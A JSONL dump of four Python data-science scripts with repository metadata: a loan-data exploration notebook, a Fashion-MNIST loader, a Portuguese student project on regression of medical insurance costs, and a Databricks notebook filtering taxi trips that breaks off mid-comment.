{"text": "\n# coding: utf-8\n\n# In[ ]:\n\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nfrom subprocess import check_output\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n# Any results you write to the current directory are saved as output.\n\n\n# # Introduction\n# this notebook is about exploring raw data and checking data quality then make meaningful imputation of missing values\n# \n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.offline as py\npy.init_notebook_mode(connected=True)\nimport plotly.graph_objs as go\nimport plotly.tools as tls\n\n\n# In[2]:\n\n\nloan = pd.read_csv('../input/loan.csv',dtype={'desc':np.object,'verification_status_joint':np.object})\nloan.shape\nprint (\"We have %i rows and %i cols\" % (loan.shape[0],loan.shape[1]))\n\n\n# In[3]:\n\n\nloan.info(null_counts= True)\n\n\n# To get insight of business, it is necessary to categorize variables to personal information, credit/financial records and loan information and summerize them to metadata.\n# 1. role:\n# 2. level:\n# 3. category:\n\n# In[4]:\n\n\n\nPersonal_info = ['member_id',\n                 'addr_state' ,\n                 'annual_inc',\n                 'dti','emp_length',\n                 'emp_title',\n                 'home_ownership',\n                 'zip_code']\nLoan_info = ['id',\n            'application_type',\n            'collection_recovery_fee',\n            'desc',\n            'funded_amnt',\n            'funded_amnt_inv',\n            'grade',\n            'initial_list_status',\n            'installment',\n            'int_rate',\n            'issue_d',\n            'last_pymnt_amnt',\n            'last_pymnt_d',\n            'loan_amnt',\n            'loan_status',\n            'next_pymnt_d',\n            'out_prncp',\n            'out_prncp_inv',\n            'policy_code',\n            'purpose',\n            'pymnt_plan',\n            'recoveries',\n            'sub_grade',\n            'term',\n            'title',\n            'total_pymnt',\n            'total_pymnt_inv',\n             'total_rec_int',\n             'total_rec_late_fee',\n             'total_rec_prncp']\nJoint_info = loan.columns[loan.columns.str.endswith('_joint')].tolist()\n\n\n# In[6]:\n\n\ndata = []\nfor i in loan.columns.tolist():\n    # define the category of variable\n    if i in Personal_info:\n        category = 'personal information'\n    elif i in Loan_info:\n        category = 'loan information'\n    elif i in Joint_info:\n        category = 'unique for joint loan'\n    else:\n        category = 'credit records'\n    \n    # difine data level\n    if i in loan.columns[loan.columns.str.endswith('_d')].tolist():\n        level = 'date'\n    elif loan[i].dropna().nunique() ==2:\n        level = 'binary'\n    elif loan[i].dtype == object:\n        level = 'categorical'\n    elif loan[i].dtype == float:\n        level = 'numeric'\n    else:\n        level = 'id'\n    \n    # defining datatype\n    dtype = loan[i].dtype\n    f_dict = {'name':i,\n            'category':category,\n            'level':level,\n            'dtype': dtype\n            }\n    data.append(f_dict)\n    \nmetadata = pd.DataFrame(data,columns=['name','category','level','dtype'])\n\n\n# In[11]:\n\n\nmetadata\n\n\n# In[ ]:\n\n\nmetadata.to_csv(metadata,index = False)\n\n\n# ### Missing Values\n\n# illustrate missing records of each column by precentage\n\n# In[12]:\n\n\nmissing = loan.isnull().sum()\nmissing_ratio = missing[missing != 0]/loan.shape[0] * 100\nmissing_ratio\n\n\n# # To be continued\n", "meta": {"hexsha": "c8f4c47cb98a056ebafd57dfb59c455e14b5f100", "size": 3913, "ext": "py", "lang": "Python", "max_stars_repo_path": "downloaded_kernels/loan_data/parsed_kernels/kernel_213.py", "max_stars_repo_name": "josepablocam/common-code-extraction", "max_stars_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "downloaded_kernels/loan_data/parsed_kernels/kernel_213.py", "max_issues_repo_name": "josepablocam/common-code-extraction", "max_issues_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "downloaded_kernels/loan_data/parsed_kernels/kernel_213.py", "max_forks_repo_name": "josepablocam/common-code-extraction", "max_forks_repo_head_hexsha": "a6978fae73eee8ece6f1db09f2f38cf92f03b3ad", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-07-12T00:48:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-11T12:53:05.000Z", "avg_line_length": 23.4311377246, "max_line_length": 172, "alphanum_fraction": 0.6043956044, "include": true, "reason": "import numpy", "num_tokens": 926, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295497638851, "lm_q2_score": 0.15610488959337063, "lm_q1q2_score": 0.0695493411764754}}
{"text": "\"\"\"Fashion-MNIST\n****************************************\n\nThis is a dataset of 60,000 28x28 grayscale images of 10 fashion categories,\nalong with a test set of 10,000 images. This dataset can be used as\na drop-in replacement for MNIST.\n\nThe classes are:  \n\n- T-shirt/top\n- Trouser\n- Pullover\n- Dress\n- Coat\n- Sandal\n- Shirt\n- Sneaker\n- Bag\n- Ankle boot\n\nReturns:\nTuple of NumPy arrays: ``(x_train, y_train), (x_test, y_test)``.\n\n**x_train**: uint8 NumPy array of grayscale image data with shapes\n``(60000, 28, 28)``, containing the training data.\n\n**y_train**: uint8 NumPy array of labels (integers in range 0-9)\nwith shape ``(60000,)`` for the training data.\n\n**x_test**: uint8 NumPy array of grayscale image data with shapes\n(10000, 28, 28), containing the test data.\n\n**y_test**: uint8 NumPy array of labels (integers in range 0-9)\nwith shape ``(10000,)`` for the test data.\n\nExample:\n\n.. code-block::\n\n    (x_train, y_train), (x_test, y_test) = fashion_mnist.load_data()\n    assert x_train.shape == (60000, 28, 28)\n    assert x_test.shape == (10000, 28, 28)\n    assert y_train.shape == (60000,)\n    assert y_test.shape == (10000,)\n\n\nLicense:\n  The copyright for Fashion-MNIST is held by Zalando SE.\n  Fashion-MNIST is licensed under the `MIT license <https://github.com/zalandoresearch/fashion-mnist/blob/master/LICENSE>`_\n\n\"\"\"\n\nimport os\nimport gzip\nfrom typing import Tuple\nimport numpy as np\nfrom mltk.utils.path import create_user_dir\nfrom mltk.utils.archive_downloader import download_verify_extract\nfrom mltk.utils.logger import get_logger\nfrom keras_preprocessing.image.utils import array_to_img\n\n\nINPUT_SHAPE = (28,28)\nCLASSES = [\n    'tshirt', \n    'trouser', \n    'pullover', \n    'dress', \n    'coat', \n    'sandal', \n    'shirt', \n    'sneaker', \n    'bag', \n    'boot'\n]\n\n\n\n\ndef load_data() -> Tuple[Tuple[np.ndarray, np.ndarray], Tuple[np.ndarray, np.ndarray]]:\n    \"\"\"Download the dataset, extract, load into memory, \n    and return as a tuple of numpy arrays\n    \n    Returns:\n        Tuple of NumPy arrays: ``(x_train, y_train), (x_test, y_test)``\n    \"\"\"\n    y_train_path = download_verify_extract(\n        url='https://storage.googleapis.com/tensorflow/tf-keras-datasets/train-labels-idx1-ubyte.gz',\n        file_hash='09814CFEF5A041118CEACE42F8DAE995319D331A',\n        show_progress=True,\n        extract=False\n    )\n    x_train_path = download_verify_extract(\n        url='https://storage.googleapis.com/tensorflow/tf-keras-datasets/train-images-idx3-ubyte.gz',\n        file_hash='95978B76B6897F6CA69A25145D01716EFB615989',\n        show_progress=True,\n        extract=False\n    )\n    y_test_path = download_verify_extract(\n        url='https://storage.googleapis.com/tensorflow/tf-keras-datasets/t10k-labels-idx1-ubyte.gz',\n        file_hash='9CAAD14E1AFF9ADAC77D3744963212D36AF15BEE',\n        show_progress=True,\n        extract=False\n    )\n    x_test_path = download_verify_extract(\n        url='https://storage.googleapis.com/tensorflow/tf-keras-datasets/t10k-images-idx3-ubyte.gz',\n        file_hash='5EDDA96C6D8C36FF915115A0E8136D370A021576',\n        show_progress=True,\n        extract=False\n    )\n\n    with gzip.open(y_train_path, 'rb') as lbpath:\n        y_train = np.frombuffer(lbpath.read(), np.uint8, offset=8)\n\n    with gzip.open(x_train_path, 'rb') as imgpath:\n        x_train = np.frombuffer(imgpath.read(), np.uint8, offset=16).reshape(len(y_train), 28, 28)\n\n    with gzip.open(y_test_path, 'rb') as lbpath:\n        y_test = np.frombuffer(lbpath.read(), np.uint8, offset=8)\n\n    with gzip.open(x_test_path, 'rb') as imgpath:\n        x_test = np.frombuffer(\n            imgpath.read(), np.uint8, offset=16).reshape(len(y_test), 28, 28)\n\n    return (x_train, y_train), (x_test, y_test)\n\n\ndef load_data_directory() -> str:\n    \"\"\"Download the dataset, extract all sample images to a directory, \n    and return the path to the directory.\n\n    Each sample type is extract to its corresponding subdirectory, e.g.:\n\n    ~/.mltk/datasets/fashion_mnist/tshirt\n    ~/.mltk/datasets/fashion_mnist/dress\n    ...\n    \n    Returns:\n        Path to extract directory:\n    \"\"\"\n\n    dataset_dir = f'{create_user_dir()}/datasets/fashion_mnist'\n\n\n    (x_train, y_train), (x_test, y_test) = load_data()\n    x_samples = np.concatenate((x_train, x_test))\n    y_samples = np.concatenate((y_train, y_test))\n\n    class_ids, class_counts = np.unique(y_samples, return_counts=True)\n\n    expected_class_counts = {}\n    for class_id, class_count in zip(class_ids, class_counts):\n        expected_class_counts[CLASSES[class_id]] = class_count\n\n    for class_id, class_label in enumerate(CLASSES):\n        dataset_class_dir = f'{dataset_dir}/{class_label}'\n        os.makedirs(dataset_class_dir, exist_ok=True)\n        class_count = len(os.listdir(dataset_class_dir))\n\n        if class_count != expected_class_counts[class_label]:\n            get_logger().warning(f'Generating {dataset_class_dir}')\n            sample_count = 0\n            for x, y in zip(x_samples, y_samples):\n                if class_id != y:\n                    continue\n                sample_path = f'{dataset_class_dir}/{sample_count}.jpg'\n                sample_count += 1\n\n                x = np.expand_dims(x, axis=-1)\n                img = array_to_img(x, scale=False, dtype='uint8')\n                img.save(sample_path)\n\n\n    return dataset_dir", "meta": {"hexsha": "94bfd7e2e111aa13753173a9e424b84d6c9f9187", "size": 5334, "ext": "py", "lang": "Python", "max_stars_repo_path": "mltk/datasets/image/fashion_mnist.py", "max_stars_repo_name": "SiliconLabs/mltk", "max_stars_repo_head_hexsha": "56b19518187e9d1c8a0d275de137fc9058984a1f", "max_stars_repo_licenses": ["Zlib"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "mltk/datasets/image/fashion_mnist.py", "max_issues_repo_name": "SiliconLabs/mltk", "max_issues_repo_head_hexsha": "56b19518187e9d1c8a0d275de137fc9058984a1f", "max_issues_repo_licenses": ["Zlib"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-19T20:10:09.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-19T20:10:09.000Z", "max_forks_repo_path": "mltk/datasets/image/fashion_mnist.py", "max_forks_repo_name": "sldriedler/mltk", "max_forks_repo_head_hexsha": "d82a60359cf875f542a2257f1bc7d8eb4bdaa204", "max_forks_repo_licenses": ["Zlib"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.6551724138, "max_line_length": 123, "alphanum_fraction": 0.6698537683, "include": true, "reason": "import numpy", "num_tokens": 1422, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.14223188955598276, "lm_q1q2_score": 0.06944946995173742}}
{"text": "# coding: utf-8\n\n# ----------------------------------------------------------------------------\n\n# Disciplina T\u00f3picos Especiais II (C318) \n\n# Curso: Fundamentos de Machine Learning \n\n# Professor: Ricardo Augusto\n\n# ----------------------------------------------------------------------------\n\n# Projeto de Machine Learning\n\n# Tema: Predi\u00e7\u00e3o de despesas m\u00e9dicas por meio de Regress\u00e3o Linear\n\n# Grupo: Emanuel Massafera Magalh\u00e3es, Pedro Henrique de Almeida e Thiago Santos da Costa\n\n#%% Formula\u00e7\u00e3o e Defini\u00e7\u00e3o do Problema de ML\n\n# Frame the problem and look at the big picture.\n\n# i) Enquadramento do problema de ML - Aprendizagem Supervisionada\n\n# ii) Trata-se de um problema de regress\u00e3o (vari\u00e1vel de sa\u00edda: despesas m\u00e9dicas de pacientes dos Estados Unidos)\n\n# iii) Regress\u00e3o M\u00faltipla: uma vez que o sistema de ML precisa lidar com v\u00e1rias caracter\u00edsticas (features) para gerar uma predi\u00e7\u00e3o\n\n# iv) Regress\u00e3o Univariada: uma vez que estamos gerando a predi\u00e7\u00e3o de um \u00fanico valor para a vari\u00e1vel de sa\u00edda (um valor por paciente)\n\n# v)  Se estamos fazendo a predi\u00e7\u00e3o de m\u00faltiplos valores para a vari\u00e1vel de sa\u00edda temos uma regress\u00e3o multivariada\n\n# vi) N\u00e3o h\u00e1 fluxo cont\u00ednuo de dados entrando no sistema de ML a ser desenvolvido - com isso n\u00e3o h\u00e1 necessidade de ajuste-r\u00e1pido aos dados (online learning))\n\n# vii) A quantidade de dados pode ser acomodada na mem\u00f3ria (batch learning)\n\n#%% Estrutura do Projeto de ML\n\n# - Estrutura do projeto   \n#   - Importa\u00e7\u00e3o de bibiliotecas utilizadas\n#   - Importa\u00e7\u00e3o da base de dados\n#   - Manipula\u00e7\u00f5es iniciais nos dados\n#   - Cria\u00e7\u00e3o de conjuntos de dados de treino e teste\n#   - Investigando Correla\u00e7\u00f5es\n#   - Prepara\u00e7\u00e3o dos dados para Modelagem \n#   - Limpeza dos dados\n#   - Manipulando features categ\u00f3ricas\n#   - Feature Scaling - Pipeline de transforma\u00e7\u00e3o\n#   - Criando o modelo de regress\u00e3o linear\n#   - Avalia\u00e7\u00e3o de Desempenho - Evaluation\n#   - Valida\u00e7\u00e3o Cruzada\n#   - Usando o modelo nos dados de teste\n\n#%% Bibliotecas utilizadas no projeto\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#%% Importa\u00e7\u00e3o da base de dados\n\n# Importando dados (arquivo .csv) a partir da URL (fonte)\nurl = 'https://raw.githubusercontent.com/stedy/Machine-Learning-with-R-datasets/master/insurance.csv'\ndf  = pd.read_csv(url)\n\n# Salvando no diret\u00f3rio do projeto\ndf.to_csv('insurance.csv')\n\n# Informa\u00e7\u00f5es sobre o dataframe (atributo info)\ndf.info()\n\n# ---------------------------\n# Informa\u00e7\u00f5es sobre o dataset\n\n# 1. age: N\u00famero inteiro que indica a idade do benefici\u00e1rio principal (excluindo acima de 64 anos, uma vez que s\u00e3o geralmente cobertos pelo governo).\n\n# 2. sex: G\u00eanero do segurado, podendo ser homem ou mulher.\n\n# 3. bmi: Numero que indica o \u00cdndice de Massa Corporal (IMC) de segurado. \u00c9 uma medida internacional utilizada para determinar se uma pessoa est\u00e1 no peso ideal. O IMC \u00e9 calculado como sendo peso (em quilogramas) dividido pela altura (em metros) ao quadrado. Um IMC ideal est\u00e1 dentro do faixa de 18,5 a 24,9.\n\n# 4. children: N\u00famero inteiro que indica o n\u00famero de filhos ou dependentes cobertos pelo plano de seguro do segurado.\n\n# 5. smoker: Indica se o segurado regularmente fuma tabaco ou n\u00e3o.\n\n# 6. region: Indica o local de resid\u00eancia do benefici\u00e1rio nos EUA, dividido em quatro regi\u00f5es geogr\u00e1ficas: nordeste, sudeste, sudoeste ou noroeste.\n\n# 7. charges: Vari\u00e1vel dependente que representa o valor de despesas m\u00e9dicas.\n\n#%% Manipula\u00e7\u00f5es iniciais nos dados\n\n# Descri\u00e7\u00e3o estat\u00edstica do dataframe Pandas\ndf_stats = df.describe()\ndf_stats\n\n# Extra\u00e7\u00e3o de informa\u00e7\u00f5es de estat\u00edstica descritiva do dataframe:\n# Ex: 25% dos pacientes tem idade (mediana) at\u00e9 27 anos\n# Ex: 75% dos pacientes tem idade (mediana) at\u00e9 51 anos\n# Ex: A idade m\u00e9dia dos pacientes \u00e9 de 39 anos\n# Ex: O valor m\u00e9dio do bmi \u00e9 de 30.66 kg/m\u00b2\n# Ex: O valor m\u00e9dio dos gastos m\u00e9dicos medianos \u00e9 de 13270 d\u00f3lares\n\n# ----------------------------------------------------------------------------\n# Acessando e Manipulando o dataframe\n\n# Indexa\u00e7\u00e3o por r\u00f3tulo - selecionando uma s\u00e9rie Pandas a partir do dataframe\ndf['age']\n\n# Indexa\u00e7\u00e3o por r\u00f3tulo - selecionando mais de uma s\u00e9rie Pandas a partir do dataframe\ndf[['age', 'bmi']]\n\n# Usando a nota\u00e7\u00e3o ponto (.) para acesso \u00e0 series de um dataframe\ndf.age\n\n# Verificando a vari\u00e1vel categ\u00f3rica - sex\ng\u00eaneros = df['sex'].value_counts()\ng\u00eaneros\n\n# Verificando a vari\u00e1vel categ\u00f3rica - smoker\nfumantes = df['smoker'].value_counts()\nfumantes\n\n# Verificando a vari\u00e1vel categ\u00f3rica - smoker\nregi\u00f5es = df['region'].value_counts()\nregi\u00f5es\n\n# Visualizando histogramas relacionados com todas as vari\u00e1veis do dataframe\ndf.hist(bins=50)\nplt.show()\n\n# Visualizando histogramas das vari\u00e1veis - caracter\u00edsticas - features\ndf['age'].hist(bins = 50)\nplt.xlabel('age')\nplt.ylabel('count')\n\ndf['bmi'].hist(bins = 50)\nplt.xlabel('bmi')\nplt.ylabel('count')\n\ndf['children'].hist(bins = 50)\nplt.xlabel('children')\nplt.ylabel('count')\n\ndf['charges'].hist(bins=50)\nplt.xlabel('charges')\nplt.ylabel('count')\n\n# Biblioteca para an\u00e1lise de dados (visualiza\u00e7\u00f5es estat\u00edsticas)\nimport klib\nklib.dist_plot(df['age'])\nklib.dist_plot(df['charges'])\nklib.dist_plot(df['bmi'])\nklib.dist_plot(df['children'])\n\n# ----------------------------------------------------------------------------\n# An\u00e1lise conduzida a partir dos histogramas \n\n# i) A grande maioria dos indiv\u00edduos em nossos dados tem despesas m\u00e9dicas \n# anuais entre zero e US $ 15.000, embora a cauda da distribui\u00e7\u00e3o se estenda\n# muito al\u00e9m desses picos. Como a regress\u00e3o linear assume uma distribui\u00e7\u00e3o \n# normal para a vari\u00e1vel dependente, essa distribui\u00e7\u00e3o n\u00e3o \u00e9 ideal.\n\n# ii) Outro problema em m\u00e3os \u00e9 que os modelos de regress\u00e3o exigem que todos\n# os recursos sejam num\u00e9ricos, mas temos tr\u00eas features (sex, region e smoker) \n# que n\u00e3o s\u00e3o num\u00e9ricas.\n\n# ----------------------------------------------------------------------------\n\n#%% Cria\u00e7\u00e3o de conjuntos de dados de treino e teste \n\n# M\u00e9todo de Amostragem Aleat\u00f3ria Simples (Sklearn)\nfrom sklearn.model_selection import train_test_split\n\n# Fun\u00e7\u00e3o do scikit-learn train_test_split\ntrain_set, test_set = train_test_split(df, test_size = 0.2, random_state = 42)\n\n#%% Investigando Correla\u00e7\u00f5es\n\n# Criando uma c\u00f3pia do dataset de treino\ninsurance = train_set.copy()\n\n# Fazendo a estimativa da matriz de correla\u00e7\u00e3o das vari\u00e1veis do dataframe\ncorrelation_matrix = insurance.corr()\ncorrelation_matrix\n\nklib.corr_plot(insurance)\nklib.corr_plot(insurance, target='charges')\n\n# Gr\u00e1fico usando plt.scatter\nx = insurance['age']\ny = insurance['charges']\nplt.scatter(x,y, alpha = 0.05)\nplt.xlabel('age')\nplt.ylabel('charges')\nplt.title('ScatterPlot - age vs charges')\nplt.grid()\n\nx = insurance['bmi']\ny = insurance['charges']\nplt.scatter(x,y, alpha = 0.05)\nplt.xlabel('bmi')\nplt.ylabel('charges')\nplt.title('ScatterPlot - bmi vs charges')\nplt.grid()\n\n# Checando qual \u00e9 o valor do coeficiente de correla\u00e7\u00e3o (Person)\n# computado entre cada feature (vari\u00e1vel) e a caracter\u00edstica/vari\u00e1vel charges\ncorrelation_matrix['charges']\n\n# Colocando as correla\u00e7\u00f5es em ordem ascendente\ncorrelation_matrix['charges'].sort_values(ascending = False)\n\n# Fun\u00e7\u00e3o scatter_matrix (Pandas): forma alternativa de checagem da matriz de correla\u00e7\u00e3o \nfrom pandas.plotting import scatter_matrix\n\n# Selecionando atributos (features) de interesse para uso da scatter_matrix\nattributes = ['charges', \n              'age', \n              'bmi',\n              'children']\n# Fun\u00e7\u00e3o scatter_matrix: plot na forma de matriz contendo gr\u00e1ficos de dispers\u00e3o\nscatter_matrix(insurance[attributes], figsize=(12, 8))\n\n# An\u00e1lise: aparentemente, a feature age tem rela\u00e7\u00e3o estat\u00edstica\n# significativa (alta correla\u00e7\u00e3o) com os gastos m\u00e9dicos\n\n#%% Prepara\u00e7\u00e3o dos Dados para Modelagem\n\n# Criando uma c\u00f3pia do dataset de treino e removendo a vari\u00e1vel target charges\ninsurance = train_set.drop('charges', axis = 1)\n\n# Criando uma s\u00e9rie para a vari\u00e1vel de sa\u00edda (target) \ninsurance_labels = train_set['charges'].copy()\n\n#%% Limpeza dos Dados (Data Cleaning)\n\nklib.missingval_plot(insurance)\n\n# N\u00e3o h\u00e1 valores faltantes no dataset\n\n#%% Manipulando features categ\u00f3ricas\n\n# Checando informa\u00e7\u00f5es do dataset\ninsurance.info()\n\ninsurance_num = insurance.drop(['sex', 'smoker', 'region'], axis=1)\ninsurance_cat = insurance[['sex', 'smoker', 'region']]\ninsurance_cat.head(10)\n\n# Aplicando OneHotEncoder para fazer a codifica\u00e7\u00e3o (encoding) das\n# vari\u00e1veis sex, smoker e region\nfrom sklearn.preprocessing import OneHotEncoder\n\n# Criando encoder\ncat_encoder = OneHotEncoder()\n\n# Fazendo o fit (estima\u00e7\u00e3o de par\u00e2metros) e transform (transformando os dados)\ninsurance_cat_1hot = cat_encoder.fit_transform(insurance_cat)\ninsurance_cat_1hot\n\n# A sa\u00edda \u00e9 uma matriz esparsa (sparse matrix) - sparse matrix only stores \n# the location of the nonzero elements\n# Podemos converter para um array NumPy\ninsurance_cat_1hot.toarray()\n\n# Lista de atributos das categorias\ncat_encoder.categories_\n\n#%% Feature Scaling - Pipeline de transforma\u00e7\u00e3o\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler\nnum_pipeline = Pipeline([\n    ('imputer', SimpleImputer(strategy='median')),\n    ('std_scaler', StandardScaler()),\n    ])\n\nfrom sklearn.compose import ColumnTransformer\nnum_attribs = list(insurance_num)\ncat_attribs = ['sex', 'smoker', 'region']\n\nfull_pipeline = ColumnTransformer([\n    ('num', num_pipeline, num_attribs),\n    ('cat', OneHotEncoder(), cat_attribs),\n    ])\n\ninsurance_prepared = full_pipeline.fit_transform(insurance)\n\n#%% Modelagem\n\nfrom sklearn.linear_model import LinearRegression\n\nlin_reg = LinearRegression()\nlin_reg.fit(insurance_prepared, insurance_labels)\n\n#%% Avalia\u00e7\u00e3o de Desempenho - Evaluation\n\n# ----------------------------------------------------------------------------\n# Avalia\u00e7\u00e3o de desempenho com todos os dados (sem separa\u00e7\u00e3o de treino e teste)\n\nfrom sklearn.metrics import mean_squared_error\ninsurance_predictions = lin_reg.predict(insurance_prepared)\nlin_mse = mean_squared_error(insurance_labels, insurance_predictions)\nlin_rmse = np.sqrt(lin_mse)\nlin_rmse\n\n# ----------------------------------------------------------------------------\n# Avalia\u00e7\u00e3o de desempenho com separa\u00e7\u00e3o de treino e teste\nfrom sklearn.model_selection import train_test_split\n\n# Matriz de Features X\nX = insurance_prepared\n\n# Vari\u00e1ve\u00e7 Target\ny = insurance_labels\n\n# Divis\u00e3o de treino e teste (sklearn) - train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.3, \n                                                    random_state=42)\n\nlin_mse = mean_squared_error(insurance_labels, insurance_predictions)\nlin_rmse = np.sqrt(lin_mse)\nlin_rmse\n\n#%% Valida\u00e7\u00e3o Cruzada\n\nfrom sklearn.model_selection import cross_val_score\n\ndef display_scores(scores):\n    print('Scores:', scores)\n    print('Mean:', scores.mean())\n    print('Standard deviation:', scores.std())\n    \nlin_scores = cross_val_score(lin_reg, insurance_prepared, insurance_labels,\nscoring='neg_mean_squared_error', cv=10)\nlin_rmse_scores = np.sqrt(-lin_scores)\ndisplay_scores(lin_rmse_scores)\n\nr2_train = lin_reg.score(insurance_prepared, insurance_labels)\nprint('R2 no set de treino: %.2f' % r2_train)\n\n#%% Usando o modelo nos dados de teste\n\ninsurance_test = test_set.drop('charges', axis = 1)\ninsurance_test_labels = test_set['charges'].copy()\n\ninsurance_test_prepared = full_pipeline.fit_transform(insurance_test)\n\nlin_scores = cross_val_score(lin_reg, insurance_test_prepared, insurance_test_labels,\nscoring='neg_mean_squared_error', cv=10)\nlin_rmse_scores = np.sqrt(-lin_scores)\ndisplay_scores(lin_rmse_scores)\n\nr2_test = lin_reg.score(insurance_test_prepared, insurance_test_labels)\nprint('R2 no set de teste: %.2f' % r2_test)\n", "meta": {"hexsha": "48b8893799b1115b952571e16f7a381b15445960", "size": 11662, "ext": "py", "lang": "Python", "max_stars_repo_path": "script.py", "max_stars_repo_name": "emanuelmassafera/projeto-C318", "max_stars_repo_head_hexsha": "133af33aa5c26ddaf25a6a1219c6b036d90612e3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-12T23:39:32.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-12T23:39:32.000Z", "max_issues_repo_path": "script.py", "max_issues_repo_name": "emanuelmassafera/projeto-C318", "max_issues_repo_head_hexsha": "133af33aa5c26ddaf25a6a1219c6b036d90612e3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "script.py", "max_forks_repo_name": "emanuelmassafera/projeto-C318", "max_forks_repo_head_hexsha": "133af33aa5c26ddaf25a6a1219c6b036d90612e3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6666666667, "max_line_length": 307, "alphanum_fraction": 0.725090036, "include": true, "reason": "import numpy", "num_tokens": 2963, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.14804719991116141, "lm_q1q2_score": 0.06940313961661414}}
{"text": "# Databricks notebook source\n# MAGIC %run \"./99-Shared-Functions-and-Settings\"\n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import *\nfrom datetime import datetime\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## 1. Data Selection\n# MAGIC Since we want to predict the duration of the trip based on the pickup and dropoff locations - we'll first need to make sure our data is relevent and representative of the information we'll have at the time of prediction.\n\n# COMMAND ----------\n\n# Read in data from the materialized view\ntripData = spark.read.table('taxi_db.taxi_trips_mat_view')\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### 1.1. `pickup_location_id` and `dropoff_location_id`\n# MAGIC First, as we examined the data, it appears that pickup_location_id and dropoff_location_id are fields that were added at some point in our data... let's look at trips that have the location by month.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### 1.1.1 Verify date available\n\n# COMMAND ----------\n\ndisplay(tripData.groupBy('pickup_year', 'pickup_month')\n                .agg(sum((col('pickup_location_id')!=0).astype('int')).alias('trips_with_location'))\n                .orderBy('pickup_year', 'pickup_month'))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Let's verify with another look - specifically at setting a cutoff of July 1st, 2016 at 12:00 AM. We'll also count the number of trips AFTER that data with no location ID.\n# MAGIC \n# MAGIC The chart below shows us that, indeed, the locatoin field was added after that date. Therefore, we'll filter out only those days on or after July 1st.\n\n# COMMAND ----------\n\ncutoff_date = datetime.strptime('2016-07-01', '%Y-%m-%d')\n\ncrosstabData = (tripData.withColumn('pickup_after_cutoff', col(\"pickup_datetime\") >= cutoff_date) # Create new boolean column if pickup_datetime >\n                .withColumn('location_present', col(\"pickup_location_id\") != 0)\n                .crosstab('pickup_after_cutoff', 'location_present').toPandas())\n\n# We'll generate a graph to compare - you can find the function to generate this graph in the notebook 00-Shared-Functions\ndisplay(generate_crosstab(crosstabData))\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC \n# MAGIC One thing to note here - matplotlib plots can be displayed inline (without using the Jupyter magic command `%matplotlib inline`)\n# MAGIC \n# MAGIC Instead, we need to run the `display` function on the figure item returned by matplotlib. In the [Simple Plot sample on the Matplotlib site](https://matplotlib.org/gallery/lines_bars_and_markers/simple_plot.html), we generate a figure object with the `fig, ax = plt.subplots()` command\n# MAGIC \n# MAGIC ```python\n# MAGIC import matplotlib\n# MAGIC import matplotlib.pyplot as plt\n# MAGIC import numpy as np\n# MAGIC # Data for plotting\n# MAGIC t = np.arange(0.0, 2.0, 0.01)\n# MAGIC s = 1 + np.sin(2 * np.pi * t)\n# MAGIC \n# MAGIC fig, ax = plt.subplots()\n# MAGIC ax.plot(t, s)\n# MAGIC \n# MAGIC ax.set(xlabel='time (s)', ylabel='voltage (mV)',\n# MAGIC        title='About as simple as it gets, folks')\n# MAGIC ax.grid()\n# MAGIC ```\n# MAGIC \n# MAGIC In Databricks, we then run `display(fig)` to show that graph inline.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### 1.1.2 Filter data to after July 1st, 2016\n# MAGIC We'll filter out all trips prior to out cutoff date.\n\n# COMMAND ----------\n\n# We'll write over the Trip Data\ntripData = tripData.filter(col(\"pickup_datetime\") >= cutoff_date)\n\n# And we'll verify that no \"unknown\" pickup locations are still in the 